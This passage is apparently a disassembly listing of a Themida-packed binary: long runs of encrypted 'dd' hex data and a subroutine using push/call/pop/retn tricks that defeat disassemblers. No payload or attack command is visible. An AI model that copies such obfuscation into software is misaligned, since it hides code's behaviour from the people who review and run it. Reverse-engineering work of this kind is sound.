7CA65867h, 52A7C6D0h dd 2FAB1E58h, 0F04B4BCFh, 78227363h, 67019B30h, 42A8C0F3h dd 4BA09F14h, 87379F14h, 90629B30h, 0C1C9F6F3h, 0F02190D9h dd 14B7BF30h, 0ED25572Bh, 0FBD7D9D7h, 0F28143Fh, 0D2E9B30h dd 0C3219B33h, 68604DB0h, 0DCA11B5h, 2E21F137h, 3C2198D8h dd 0DD7FBB30h, 2B55126Eh, 0A3651A34h, 0C3218034h, 2277DD30h dd 8F24E6F5h, 486AE0DEh, 0D5F3243Fh, 1E219B3Dh, 0F5AB4C83h dd 0FDB86C34h, 7719072h, 0E4D910EEh, 0F02199FCh, 93AF1EB9h dd 0FCA29CCDh, 8CA41228h, 3C2666DBh, 85CD22F0h, 69D29B30h dd 5E47FBC8h, 45AAE2EBh, 7FDBAA8Dh, 59A45D51h, 5D266136h dd 0E7729B5Ah, 87219B33h, 98E2C010h, 0E505C7B9h, 0F405DFB1h dd 78219B2Dh, 0D3E2C873h, 40A1B88Bh, 482879EEh, 87287378h dd 0AE9F9B30h, 5E8DB23Ah, 0F1179A54h, 82087E85h, 5649C137h dd 114EFC82h, 0F2180B1h, 8AC9FB30h, 29219B30h, 2A1B6240h dd 61D42896h, 6FAC624Dh, 3373CB6Ah, 7F79C101h, 0FB059FB1h dd 880D6488h, 0C3219BBDh, 74946430h, 7B266110h, 821382BDh dd 95941037h, 9326612Dh, 0F28246B5h, 0D021F137h, 0C32198D8h dd 227EBB30h, 0D45D126Fh, 5C651A34h, 3C218134h, 0DD76DC30h dd 6E90DE9Fh, 6E61FCA6h, 0C3219B24h, 38EBB48Ah, 0C9A16F98h dd 75D64350h, 9D8A5C14h, 0A63475C1h, 2DD426BBh, 57DE9CCAh dd 0E0440EB9h, 64A89CCAh, 0F7DB8B85h, 5D5426BBh, 0B9AC9CCAh dd 19DB9EA1h, 0F211F3Fh, 2A89B30h, 0C4DBB0D9h, 9779B5Ah dd 0F0219B33h, 26E2C510h, 3805EFB9h, 1A05DFB1h, 0F219B2Bh dd 58E2CD76h, 37EF48F5h, 0D037716Eh, 0A26D6A5h, 1DA45D37h dd 6F266136h, 30740EBBh, 0B2AA9CCAh, 80DB8E89h, 0EB792E58h dd 0C5251AF3h, 0C9A96B13h, 90769B5Ah, 3C219B33h, 41E2C410h dd 0B05E7B9h, 8305DFB1h, 0C3219B24h, 0DEE2CC77h, 5A49260h dd 2126612Ch, 1CB42ECFh, 9BA89CCAh, 8DBB471h, 24FC1EBDh dd 76229CCDh, 0E6DB8DC5h, 0F04B4BCFh, 78227362h, 66019B30h dd 4AA8C1F3h, 4BA09F14h, 87389F14h, 91639B30h, 7414B2F3h dd 0FF752ADEh, 78219DB4h, 9DAC1030h, 97266124h, 0F53182B5h dd 0D621F137h, 0C32198D8h, 2278BB30h, 0D46D1269h, 5C651A34h dd 3C218134h, 0DD70DA30h, 4C4644E1h, 0C303E69h, 392936A5h dd 84A45D37h, 0A3266136h, 0E3CB1A56h, 8F1BF399h, 0A0470749h dd 0BA0152Dh, 1830E214h, 0C3AA940Bh, 0EE219B30h, 45DE6B87h dd 7FDBBBA5h, 0D4769B5Ah, 1E219B33h, 50E2C410h, 8305E7B9h dd 0C705DFB1h, 0E1219B26h, 5FE2CC77h, 0F5A8788Bh, 3BDB8B61h dd 9BAC68BBh, 8DC38EDh, 6F709B5Ah, 0C3219B33h, 0B8E2C210h dd 0F405D7B9h, 7C05DFB1h, 3C219B27h, 0CDE2CA71h, 6F133756h dd 8DC9FBC9h, 32219B30h, 0E67C080Ah, 336C6E47h, 0F52EC3DCh dd 3C219B30h, 0CEDEFA51h, 0DB1056h, 87219EBBh, 24A0FD30h dd 64A8258Ah, 0F7DBBC75h, 90749B5Ah, 3C219B33h, 43E2C610h dd 0B05F7B9h, 8305DFB1h, 0C3219B25h, 28E2CE75h, 0F029721Ah dd 72709B30h, 61A81D35h, 9BE75145h, 8DB9D55h, 0D021F177h dd 0C32198D8h, 227EBB30h, 0D45D126Fh, 5C651A34h, 3C218E34h dd 0DD76DC30h, 0C44957E7h, 6EC91510h, 0C3219B3Eh, 83C0F8B3h dd 503CDEA3h, 82E155B7h, 8A0E9B2h, 4EDCF914h, 5E21F16Fh dd 872198D8h, 78BB30h, 0C56D1269h, 0D4651A34h, 78218D34h dd 0FF70DA30h, 0E147A677h, 0F5010E85h, 5EA0FD37h, 46AC754Fh dd 0E6DC38EDh, 18769B5Ah, 78219B33h, 63E2C410h, 1A05E7B9h dd 0B05DFB1h, 87219B2Ch, 49E2CC77h, 0E27A0973h, 1D2BD2E4h dd 784B4BCFh, 3C227362h, 44019B30h, 5BA8C1F3h, 0C3A09F14h dd 0C33B9F14h, 0B3639B30h, 2824A7F3h, 0BE39E8D2h, 35A412C9h dd 0F726611Ah, 0F219B3Bh, 90FFD62Eh, 0E03728E9h, 2750C65Dh dd 0A27FEB5h, 0ED2ADC37h, 3BDBBFB9h, 0E441F358h, 1DC8CC14h dd 0F5219B30h, 4C60AF31h, 0C6F9AB24h, 0BE25A86Dh, 54A37F80h dd 38A0C4CFh, 0FF918914h, 0B210CC6Ch, 80DBAA35h, 5694646Eh dd 0D0266110h, 0A37168Dh, 0A5A41637h, 33266693h, 1E219BB9h dd 0BDF16430h, 0D6A412E7h, 0A9266119h, 0E2C9C830h, 0D0219B30h dd 0F17A586Bh, 0BD25BF6Ch, 325BF74h, 4C219B30h, 3BC75863h dd 162AB6F8h, 99A820BDh, 0F6441EF6h, 12669CCAh, 3FC9CE30h dd 3E219B30h, 867C586Dh, 625BF5Ch, 0D425BF74h, 0A4219B30h dd 5EF65865h, 0CDAA37F4h, 3BDB95D9h, 858D358h, 6DD1248Dh dd 0B3A09D4Bh, 18648E14h, 0B721F127h, 0F02198D8h, 0BB7FBB30h dd 1855126Eh, 3A651A34h, 0F218C34h, 4477DD30h, 0B44E55CCh dd 61DE243Fh, 45DE1DC2h, 7FDBBBA5h, 0D4739B5Ah, 1E219B33h dd 55E2C110h, 8305CFB9h, 0C705DFB1h, 0E1219B2Dh, 49E2C972h dd 0AE57FC2h, 0B97F662h, 11D310C5h, 0F21A9BDh, 94C8FB30h dd 4A219B30h, 0D463965h, 6D186C94h, 7C2169EDh, 68A71F5h dd 0DC83185h, 6A219B30h, 0E42B087h, 927E960h, 0AF9C0E4Ah dd 0D39CBFFh, 0F540A4BCh, 0C18246B5h, 4B21F137h, 0F2198D8h dd 447CBB30h, 0E74D126Dh, 0C5651A34h, 0F0218C34h, 0BB74DE30h dd 88286A32h, 19C00EB9h, 82029CCAh, 80DB9451h, 0C34B4BCFh dd 0E1227360h dd 0A8019B30h, 3CA8C3F3h, 78A09F14h, 1E359F14h, 5F619B30h dd 94C875F3h, 5D219B30h, 25F2004Bh, 0B3378883h, 56E1998Eh dd 5F0870D8h, 17C8B637h, 0AE219B30h, 0EB23E924h, 12F4ECD7h dd 0D5901EB9h, 0B79E9CCAh, 8742D149h, 0CD9E94E0h, 13701EB9h dd 8A209CCAh, 80DBBB5Dh, 0A5F91756h, 0ED857AB1h, 0F04B9F14h dd 78227362h, 66019B30h, 4AA8C1F3h, 4BA09F14h, 873C9F14h dd 91639B30h, 64A505F3h, 0E4920CB1h, 72257104h, 16A594F0h dd 78219B33h, 0C9A1618Fh, 7D27FEB5h, 4247D437h, 606128EAh dd 7997ABD7h, 78257320h, 50E59B30h, 4C7124B0h, 0FA09450h dd 3C219B30h, 0DB9238C1h, 0BB109451h, 0B4AACB68h, 78AA9F14h dd 0B02EC960h, 1E219B30h, 577BAA3Fh, 8305DFB9h, 0C32193D9h dd 1DE3F430h, 9B2E8E5Fh, 70C9C3B0h, 4C219B30h, 26C3FCE8h dd 860FED3Bh, 7D342AB5h, 76DEC137h, 0E6DBBBA5h, 18709B5Ah dd 78219B33h, 65E2C210h, 1A05D7B9h, 0B05DFB1h, 87219B2Ah dd 0C0E2CA71h, 4E38FF27h, 71478C10h, 0CA6101DFh, 0E1A416F6h dd 37266693h, 0F5304E85h, 0EDF16437h, 0C0C9C930h, 0C1219B30h dd 797B586Ah, 0F925BF64h, 2025BF74h, 5C219B30h, 0CA8B5862h dd 48054E80h, 92805566h, 33FA008Fh, 30A2C43Dh, 2F21F114h dd 3C2198D8h, 0DD7EBB30h, 2B5D126Fh, 0A3651A34h, 0C3218234h dd 2276DC30h, 8877540h, 0C50AC4E8h, 3BDBBE45h, 2C81EB9h dd 0B2AA9CCAh, 80DB900Dh, 0CE701EBBh, 622E9CCAh, 0F0219B38h dd 0FDBC1262h, 62266125h, 1E2C163Fh, 4419B30h, 7D3CBE8Dh dd 0BF892037h, 6A409538h, 0A152AADh, 0FDB49A37h, 7F266135h dd 0F6749B5Ah, 0F219B33h, 0DAE2C610h, 0C705F7B9h, 0E505DFB1h dd 0F0219B29h, 0C5E2CE75h, 6613D61Ah, 0E9A0FD29h, 14AA2DD3h dd 6F719B5Ah, 0C3219B33h, 0B9E2C310h, 0F405DFB9h, 7C05DFB1h dd 3C219B2Bh, 0C3E2CB70h, 1B8A8F0h, 0E15FB1E4h, 0FE274AB1h dd 0EAC980BBh, 48219B30h, 6728B1A1h, 242264C9h, 9547FE06h dd 14AAC1CBh, 0B4DF1056h, 8ABC12E8h, 68266125h, 0A347AADh dd 7DACAA37h, 0FA266132h, 0E427FEB5h, 9A0ADC37h, 80DB9B69h dd 0D15FFA58h, 0B173CB54h, 0FF40FB62h, 9F98FD01h, 3379C194h dd 1AAC9401h, 69219B30h, 0DD4B378Fh, 0E7251A68h, 0B2EDC478h dd 18749B5Ah, 78219B33h, 61E2C610h, 1A05F7B9h, 0B05DFB1h dd 87219B26h, 0AFE2CE75h, 54DED649h, 0F7DBBBA5h, 4C201619h dd 0B9AC9CCAh, 19DC38EDh, 0E7709B5Ah, 87219B33h, 9AE2C210h dd 0E505D7B9h, 0F405DFB1h, 78219B2Bh, 1FE2CA71h, 19D77F24h dd 0F07DAE36h, 2EA4AAE0h, 4A266112h, 1B0B92B5h, 0A221F137h dd 782198D8h, 0FF7BBB30h, 3A75126Ah, 2B651A34h, 87218234h dd 73D930h, 2D405C7Ah, 964177DAh, 431B43B1h, 281C063Bh dd 5E409CCAh, 23AC1EB9h, 0CDD9CCAh, 9221F130h, 0E12198D8h dd 3378BB30h, 5C6D1269h, 18651A34h, 1E218034h, 0CC70DA30h dd 0E69ED4B1h, 0A4078E64h, 8B2110C9h, 0F3C9CA30h, 58219B30h dd 0B5785869h, 9F25BF7Ch, 1B25BF74h, 0C6219B30h, 48145861h dd 0E1AA94C9h, 79219B30h, 82052EB5h, 6B21F137h, 1E2198D8h dd 0CC7EBB30h, 0A35D126Fh, 0E7651A34h, 0E1218734h, 3376DC30h dd 82E53730h, 88DAE08Eh, 8F9C1062h, 0E626611Fh, 87219A4Eh dd 2B739B5Ah, 0E1219B33h, 0AAE2C110h, 7C05CFB9h, 3805DFB1h dd 1E219B26h, 7EE2C972h, 0C47C6FFh, 73A416C7h, 682666DBh dd 0A0B3EBDh, 0F52E0B37h, 3C219B34h, 4740FB62h, 9FF11060h dd 6F719B5Ah, 0C3219B33h, 0B9E2C310h, 0F405DFB9h, 7C05DFB1h dd 3C219B28h, 67E2CB70h, 35C7708Fh, 87221C3Fh, 742E9B30h dd 0DFFB1AE2h, 0F497AB2h, 820982A5h, 6F21F137h, 1E2198D8h dd 0CC7ABB30h, 0A37D126Bh, 0E7651A34h, 0E1218334h, 3372D830h dd 0EEE453D4h, 51AC1053h, 93266136h, 0F2CA2DADh, 0D721F137h dd 0C32198D8h, 2279BB30h, 0D4651268h, 5C651A34h, 3C218634h dd 0DD71DB30h, 6E06B75Ah, 0CDC92C9Ch, 7A7139CEh, 0C2F687A5h dd 9A0587B9h, 7BC9C830h, 1C219B30h, 977A586Bh, 8E25BF6Ch dd 9B25BF74h, 80219B30h, 50295863h, 1766259Eh, 2A75F998h dd 0A7762456h, 0A7470B69h, 0E6716BABh, 87219B37h, 0E613FDB1h dd 71C05CFAh, 0F02194D8h, 21E76630h, 340E7372h, 0DDE9394Ch dd 71E34A09h, 875C0E19h, 3C7F9CCAh, 1B09AEA5h, 0A321F137h dd 782198D8h, 0FF7ABB30h, 3A7D126Bh, 2B651A34h, 87218D34h dd 72D830h, 0EE7ED75Eh, 0F0219DB4h, 0F9BCB230h, 0B5266137h dd 0E43D72B5h, 5F21F137h, 872198D8h, 79BB30h, 0C5651268h dd 0D4651A34h, 78218634h, 0FF71DB30h, 968ACB28h, 532D6DEBh dd 2E73BC3h, 0C4DB9D55h, 0B021F163h, 0F02198D8h, 0BB78BB30h dd 186D1269h, 3A651A34h, 0F218C34h, 4470DA30h, 7B7AEAF6h dd 89786766h, 0C766A75Dh, 6A059FB1h, 5A52DB78h, 0E11ED08Ah dd 0F5010E85h, 9EA69437h, 2A219B30h, 0E1219B24h, 57FE8AD9h dd 5758F5DBh, 0A2C9D063h, 2D3A8A1Dh, 8E45A43Ah, 9A240EBBh dd 46AC9CCAh, 0E6DC38EDh, 18769B5Ah, 78219B33h, 63E2C410h dd 1A05E7B9h, 0B05DFB1h, 87219B28h, 38E2CC77h, 0F4B49955h dd 20AA4BCFh, 64B41EB9h, 3C4B9CCAh, 1E227366h, 51019B30h dd 0F3A8C5F3h, 87A09F14h, 0E13A9F14h, 0A6679B30h, 0F96BB6F3h dd 91697EDEh, 7BA45DCDh, 48266136h, 0EFEF5DB0h, 10AC75B7h dd 60DB1056h, 0B36BF04h, 784BE9CFh, 3C227365h, 43019B30h dd 63A8C6F3h, 0C3A09F14h, 0C3399F14h, 0B4649B30h, 867C0BF3h dd 68C82A88h, 41219B30h, 1127EA1Bh, 732D8DE2h, 0D13CD076h dd 4A60BC7Ch, 1B0F2AB5h, 65946437h, 12266110h, 3FC9CA30h dd 3E219B30h, 86785869h, 625BF7Ch, 0D825BF74h, 0A0219B30h dd 64035861h, 44F4C347h, 0A1A88FA6h, 19DBBF2Dh, 0ACFC1EBDh dd 6E419CCDh, 0C3219B3Ah, 0EA517703h, 0D00E6B9Eh, 0F141D3A7h dd 0C6126AA5h, 7F406237h, 0B0414BCFh, 0CC33202Fh, 0C32190D9h dd 1C7B4530h, 0F6963176h, 0C945F455h, 0DDA41251h, 74266128h dd 0CC9CE30h, 0A7219B30h, 4A7C586Dh, 6025BF5Ch, 0ED25BF74h dd 3D219B30h, 344A5865h, 28A26D78h, 40F6E9Eh, 0A6281639h dd 46E79CCAh, 0E6DB9D55h, 0F3A59463h, 1E219B30h, 384954BBh dd 7E85BA41h, 5F7653BBh, 640C568h, 0EDB5BF04h, 0E14BA628h dd 0F0227362h, 22019B30h, 68A8C1F3h, 5AA09F14h, 0F3B9F14h dd 0D5639B30h, 0BEBA96F3h, 0E2EC51BBh, 0EF6026BBh, 0AEA19CCAh dd 0A9946433h, 11266110h, 8AAC6C87h, 80DC38EDh, 44022156h dd 0E7DC16BBh, 20DE9CCAh, 90749B5Ah, 3C219B33h, 43E2C610h dd 0B05F7B9h, 8305DFB1h, 0C3219B29h, 6BE2CE75h, 0F5CB0CC2h dd 0F5A41296h, 0B726611Fh, 0E40B42BDh, 96A41237h, 0ED266127h dd 0C0C9CB30h, 0C1219B30h, 79795868h, 0F925BF74h, 2525BF74h dd 5E219B30h, 91AA5860h, 4932D5Eh, 0EA9E46B0h, 1B131EADh dd 95A45D37h, 2F266136h, 12801EB9h, 77499CCAh, 6FF0326Bh dd 5C302456h, 0C6C8C960h, 0C2219B30h, 666275C7h, 7FC9AA3Fh dd 0C7219B30h, 35545F8Dh, 55796799h, 0B3A0FA68h, 6E28F414h dd 949271h, 0F266132h, 82010E85h, 0FBA0FD37h, 93AA2278h dd 8DB85B5h, 24FC1EBDh, 0C34B9CCDh, 0E1227365h, 0AD019B30h dd 14A8C6F3h, 78A09F14h, 1E359F14h, 5A649B30h, 48AAB1F3h dd 0C34B4BCFh, 0E1227366h dd 0AE019B30h, 0CA8C5F3h, 78A09F14h, 1E369F14h, 59679B30h dd 863A94F3h, 0BE9C1033h, 6826613Eh, 0A09EEB5h, 6D941037h dd 0FA26613Bh, 0E427FEB5h, 8C49D837h, 0E184A76Eh, 42E38A89h dd 0CF8ABF04h, 7147829Ch, 87045CDFh, 0C6010E85h, 4C21F137h dd 0F2198D8h, 447BBB30h, 0E775126Ah, 0C5651A34h, 0F0218C34h dd 0BB73D930h, 0D79100CAh, 0BDFC1EBDh, 0F4B9CCDh, 87227365h dd 9E019B30h, 8DA8C6F3h, 0B4A09F14h, 783D9F14h, 69649B30h dd 52BAEDF3h, 0F0691C4Ah, 1A087FA8h, 0C4DBB191h, 0E0BC1250h dd 79266118h, 8234CA8Dh, 0ECDEFA37h, 0F6779B5Ah, 0F219B33h dd 0D9E2C510h, 0C705EFB9h, 0E505DFB1h, 0F0219B25h, 91E2CD76h dd 0CDB41299h, 9726613Ah, 0F503C2B5h, 50AAFD37h, 28871EBDh dd 1D739CCDh, 3594106Eh, 2826612Dh, 3C2190D9h, 5C21DB30h dd 0A5374379h, 0FEDC4417h, 0A5059FB9h, 0CBF46CB1h, 0D8380ECFh dd 784B9CCAh, 3C227361h, 47019B30h, 43A8C2F3h, 0C3A09F14h dd 0C33C9F14h, 0B0609B30h, 2D4284F3h, 0B571D18h, 0D5332BDCh dd 1E219B3Fh, 0A3B059B2h, 18E4F8F7h, 0B010DDE2h, 6AE4C8A1h dd 0A021F1E8h, 782198D8h, 0FF79BB30h, 3A651268h, 2B651A34h dd 87218C34h, 71DB30h, 0DC1F3E14h, 0CA5B5CB1h, 0FDAC965Ch dd 3BDC70AAh, 7942156h, 8E2ECDA0h, 87219B35h, 0A42C408Ah dd 7171C14Fh, 63D31056h, 492EC960h, 66F21056h, 0F771CB68h dd 0F219B24h, 1283D8EAh, 0F81F6085h, 253DCC63h, 3B7B6FDAh dd 0C451FCB6h, 832E0869h, 0DFAC12CEh, 0F026613Ah, 7D09AEA5h dd 0C3317237h, 5A849B30h, 43720C11h, 0CA205340h, 35DFC844h dd 9BA8489Bh, 8DB8B95h, 21AB228Eh, 0DAA45C51h, 0EE266137h dd 9A219B30h, 7BC9C930h, 1C219B30h, 977B586Ah, 8E25BF64h dd 9F25BF74h, 81219B30h, 308C5862h, 0C3EF9C5Eh, 8214A685h dd 99B46437h, 74266120h, 0CC9C830h, 0A7219B30h, 4A7A586Bh dd 6025BF6Ch, 0EB25BF74h, 3B219B30h, 0E7865863h, 74714A87h dd 8E47E089h, 0E661CD7h, 3902A2B5h, 0B721F137h, 0F02198D8h dd 0BB7FBB30h, 1855126Eh, 3A651A34h, 0F218F34h, 4477DD30h dd 10AAFDBAh, 0F1941EBBh, 6DAC9CCAh, 7FDC66C1h, 0B120D8B9h dd 0E4240A8Dh, 0C4941637h, 3E2666CDh, 0C3219B03h, 0D2CA3FC3h dd 0F0219B88h, 0CE19030h, 3C395933h, 1205DFBBh, 0F217363h dd 67A9B30h, 0C3218CF3h, 0C57D1230h, 0D4651220h, 4F99C024h dd 0C3212ACAh, 3A6510D0h, 65C16434h, 84C9CE30h, 0E3219B30h dd 687C586Dh, 7125BF5Ch, 6425BF74h, 79219B30h, 46CF5865h dd 6C83A2E2h, 0C450686h, 393A628Dh, 0E1267237h, 7DF29B30h dd 7EE8F2E9h, 3C4BFA27h, 1E227360h, 57019B30h, 0C3A8C3F3h dd 87A09F14h, 0E13C9F14h, 0A0619B30h, 5B217CF3h, 4592307h dd 35964451h, 0F50972A5h, 83D31A37h, 4E210943h, 1CCA018Dh dd 72AC1637h, 0C02666CEh, 0A4073005h, 8DC1E03h, 0C00A9CCAh dd 502372F1h, 0D89621F1h, 30E12198h, 6D337CBBh, 345C4D12h dd 3418651Ah, 831E2181h, 0A4F305E9h, 0B529D98Bh, 7FA0DC1h dd 0BE8h, 7E5D0800h, 0D1FE6B1Dh, 0A46F25D9h, 0E95FEA8Ah dd 42h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Bh dd 41C35040h, 5774965Ch, 0E9A49F87h, 10h, 0C2F452C3h, 67242D03h dd 0B134B14Eh, 717BDC22h, 1890F61h, 0FC000000h, 0C08BF5C3h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 8DC35141h dd 9061E3B5h, 0E92514A2h, 7, 8945F780h, 8393B992h, 0FA2ACDBDh dd 9750007h, 1899BD83h, 740007FAh, 8B535019h, 4B9B8C0h dd 85890000h, 7FA1581h, 0E28B9D8Dh, 0D3FF07FCh, 0BD83585Bh dd 7FA1899h, 50177400h, 4B9B853h, 85890000h, 7FA1581h dd 0DF2C9D8Dh, 0D3FF07FCh, 0FFC585Bh, 1A87h, 148B0F00h dd 0E9000000h, 0Fh, 0D371CE26h, 735D3FAh, 1D021DDFh, 8B5DB707h dd 8B40F8C0h, 51006AC1h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1604h, 0C3514100h, 8B4DBF8Bh, 0FA1D19BDh, 0E8F38B07h dd 0Fh, 843FEA11h, 757118D4h, 19FC3456h, 0FA27B97h, 0EB5EFFBFh dd 4, 71858900h, 6A07FA2Fh, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 16042444h, 46000000h, 9630C356h, 99858DE0h dd 0F07FA01h, 0E850F8B7h, 0Dh, 0AFA9BCFDh, 9A8F470h, 935B822Dh dd 12E96Ch, 0B50B0000h, 1612BD91h, 866674Ch, 0BCFE3CFDh dd 705EDA20h, 2404895Eh, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 1Bh, 3C35747h, 295B701Ch, 89F2E6B3h, 0FA1C91BDh dd 69BD8B07h, 6A07FA15h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1D04h, 0C3574700h, 0B9595F01h, 204D80C8h dd 6A7EC5h, 0C69DCF81h, 858D6610h, 7FE0192h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 74C35747h, 0A37636BBh dd 2F099D89h, 0C08307FAh, 6050FC05h, 61C28B66h, 8B240489h dd 0FA2399BDh, 0F006A07h, 389h, 0F38B6600h, 0EE9006Ah dd 0DF000000h, 5DFCD87Fh, 0FF8DD14Ah, 4E14DD77h, 0E995FF00h dd 6007FA2Bh, 11958960h, 0F07FA2Ah, 83h, 85016100h, 7FA338Dh dd 119D8D61h, 6A07FDD7h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 14042444h, 40000000h, 897CC350h, 0FA266DBDh dd 6AD3FF07h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 15042444h, 40000000h, 0E2D1C350h, 2F79BD09h, 85FF07FAh dd 7FA1049h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 18h, 0E0C35545h, 0DCD8426h, 0E9F0B70Fh, 799h, 0E8h dd 0ED815D00h, 7FE019Ch, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Bh, 1BC35343h, 0C77D3FD9h, 661C15EAh, 0B2C5CE81h dd 719BD81h, 7D007FAh, 860F0000h, 1A5h, 0E853006Ah, 3 dd 5BC35B20h, 4245C89h, 4244481h, 16h, 0BBC35343h, 9D8BE62Ch dd 7FA1E89h, 24DDBD8Bh, 0E38107FAh, 100h, 0E853006Ah, 3 dd 5BC35B20h, 4245C89h, 4244481h, 1Ah, 2EC35343h, 2B41B8A6h dd 0BF90E85h, 0D7850FDBh, 6A000000h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 15042444h, 42000000h, 0EC7BC352h dd 207D9529h, 0BD8307FAh, 7FDFFE4h, 45840F00h, 6A000000h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 19042444h dd 40000000h, 0DA6BC350h, 89EF6937h, 0C0E9F78Bh, 6A000000h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 15042444h dd 40000000h, 95F8C350h, 0FFE485C7h, 107FDh, 6A0000h, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 1B0424h, 51410000h dd 55F9DC3h, 1DFC1899h, 9B53151h, 0E907FA15h, 6Bh, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 59C35343h, 7DE0DB62h dd 2EC73172h, 0E49B533h, 85C707FAh, 7FDFFE4h, 0 ; --------------------------------------------------------------------------- push 0 push eax call sub_5C3763 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C3763 proc near ; CODE XREF: Themida_:005C375Bp arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 15h inc eax push eax retn sub_5C3763 endp ; --------------------------------------------------------------------------- db 2Bh dd 0BE8B1h, 0C1FB0000h, 0DF687BD5h, 155A86B4h, 3830FCCh dd 0F000000h, 8D5FF9BFh, 0FA1E899Dh, 4DBD8B07h, 8107FA31h dd 0FFFEFF23h, 51006AFFh, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1804h, 0C3514100h, 67E4B3E7h, 0DB8C668Eh dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 18h, 0F6C35040h dd 381EEBF7h, 0CE950h, 0D1D50000h, 0C10DC266h, 5CA0CCF7h dd 8B5FD3C7h, 0FA2485BDh, 9E907h, 9EA50000h, 0F021AAC0h dd 0F60E3458h, 840F04C3h, 90h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 19h, 86C35141h, 0C3B808BBh, 0A595FF29h dd 6A07FA10h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 14042444h, 46000000h, 66F4C356h, 0C02CE681h, 24048950h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ch, 1AC35040h dd 3D7AA206h, 8459307Bh, 2850F60h, 0B3000000h, 5E87Ch dd 9EC50000h, 0F8426E0h, 86h, 0BE615A00h, 28078A1Fh, 375E9h dd 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1704h dd 0C3504000h, 0A3AB398Dh, 4890Fh, 0BE660000h, 0B01849h dd 95C68166h, 8170E69Ch, 0B36B7AC6h, 5771E43Bh, 0D8B60F5Eh dd 2D19B589h, 6BA07FAh, 6A000000h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 16042444h, 41000000h, 0DA05C351h dd 89C38B01h, 0FA1689BDh, 0C1F08B07h, 6A04E8h, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 150424h, 57470000h dd 664CD8C3h, 6AE2F7h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 190424h, 51410000h, 0BE1E79C3h, 2B896D37h, 0F9B70FD8h dd 3800Fh, 0B70F0000h, 12E893F0h, 6D000000h, 0E4EA94D7h dd 0BFCFE7Ch, 3A4243BAh, 0FCD598C6h, 0BE8A8h, 56070000h dd 7D8966D6h, 0AD724121h, 5EF98BAFh, 6093505Eh, 31318D8Bh dd 9D8907FAh, 7FA2939h, 19B5FF61h, 8107FA07h, 0D511D7F7h dd 1995FF3Ah, 6A07FA10h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 14042444h, 42000000h, 99AC352h, 0FA2B2D95h dd 6A00B007h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1A042444h, 47000000h, 803FC357h, 50178F5Ah, 0BE70E6F0h dd 36AF8C91h, 0B037D681h, 71E42272h, 7E9h, 2D3CFA00h, 968C1E17h dd 830F613Ch, 1FAh, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 1Ch, 0A4C35040h, 2088AA21h, 0F3AE8CB6h, 117D8589h dd 0B60F07FAh, 0AD9D89D8h, 0BA07FA17h, 6, 1F899589h, 0B52907FAh dd 7FA0849h, 6AC38Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 140424h, 52420000h, 8BF860C3h, 0FA2C75BDh, 958B6007h dd 7FA2F81h, 20759533h, 0C16107FAh, 5F5304E8h, 66E2F766h dd 5F23CE81h, 0F78BD82Bh, 9E8h, 2DF33700h, 152BF154h, 5EFC8BF3h dd 53006A58h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1604h dd 0C3534300h, 0E90973A9h, 0Fh, 0FC5AA7E8h, 54F633C7h dd 0AAA21600h, 2BB7498Bh, 27880FD8h, 6A000001h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1C042444h, 47000000h dd 8147C357h, 19DF63C1h, 57D95120h, 7B95Fh, 0C1830000h dd 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1404h dd 0C3554500h, 0C99D2949h, 0F07FA0Bh, 0D93BF7B7h, 0CC860Fh dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h dd 52420000h, 61D49BC3h, 181D6DE3h, 13E99240h, 0D8000000h dd 0C741BCD5h, 0E76F3Eh, 78B83723h, 0B7DF6138h, 8C66BD25h dd 4C1F6D9h, 80840Fh, 8B500000h, 0FA2A25B5h, 95FF5E07h dd 7FA10A5h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 18h, 48C35747h, 0C3CCB28h, 190EE781h, 6A5B26A4h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1C042444h, 41000000h dd 0FD19C351h, 8803EF43h, 2B55E083h, 69BD8BC3h, 0FC07FA14h dd 8343Dh, 13860F00h, 52000000h, 0B89BD2Bh, 895E07FAh dd 0FA166585h, 4E907h, 0C08B0000h, 0C38BF88Bh, 0B70FD88Bh dd 68E4BFFFh, 85C72A22h, 7FA185Dh, 1A7C29D9h, 0EA10EE81h dd 8B66616Bh, 6AC08BF0h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 18042444h, 40000000h, 9021C350h, 89A73BE2h dd 0FA1795BDh, 19BD8107h, 0D007FA07h, 0F000007h, 5485h dd 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 